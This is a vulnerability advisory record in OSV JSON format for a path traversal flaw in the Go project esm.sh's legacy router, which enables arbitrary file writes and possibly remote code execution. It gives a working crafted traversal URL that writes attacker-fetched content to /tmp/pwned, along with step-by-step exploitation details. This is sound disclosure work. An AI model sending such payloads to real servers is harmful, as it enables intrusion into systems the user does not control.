Files
vuln-osv/data/Go/GHSA-3636-h3vx-6465.json

1 line
3.7 KiB
JSON
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-3636-h3vx-6465","published":"2026-05-12T22:22:39Z","modified":"2026-06-25T18:56:35.298468646Z","aliases":["CVE-2026-44593","GO-2026-5071"],"summary":"esm.sh: Legacy Route Path Traversal Can Lead to RCE","details":"### Impact\n- Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.\n- Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.\n\n### Exploit\n\nThe legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` \n(see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).\n\nFor a URL such as:\n\n```\nhttp://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n```\n\nthe router concatenates the path components without sanitizing them, producing a storage key like:\n\n```\nlegacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n```\n\nWhen this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.\n\n\n### Details\n\n1. **URL Construction** \n A crafted request is sent to the server:\n ```\n http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n ```\n\n2. **Proxy to Legacy Server** \n The request is forwarded to:\n ```\n http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned\n ```\n which resolves to:\n ```\n http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md\n ```\n\n3. **File Retrieval** \n The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`.\n\n4. **Path Normalisation & Storage** \n The storage path derived from the request is:\n ```\n legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n ```\n Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location.\n\n5. **Result** \n By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.\n\n\n### Credit Discovery To\nsplitline (@\\_splitline\\_) from DEVCORE Research Team","affected":[{"package":{"name":"github.com/esm-dev/esm.sh","ecosystem":"Go","purl":"pkg:golang/github.com/esm-dev/esm.sh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260508100112-1960055e1d53"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3636-h3vx-6465/GHSA-3636-h3vx-6465.json"}}],"references":[{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44593"},{"type":"PACKAGE","url":"https://github.com/esm-dev/esm.sh"},{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_3"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-05-12T22:22:39Z","nvd_published_at":"2026-05-28T16:16:24Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}]}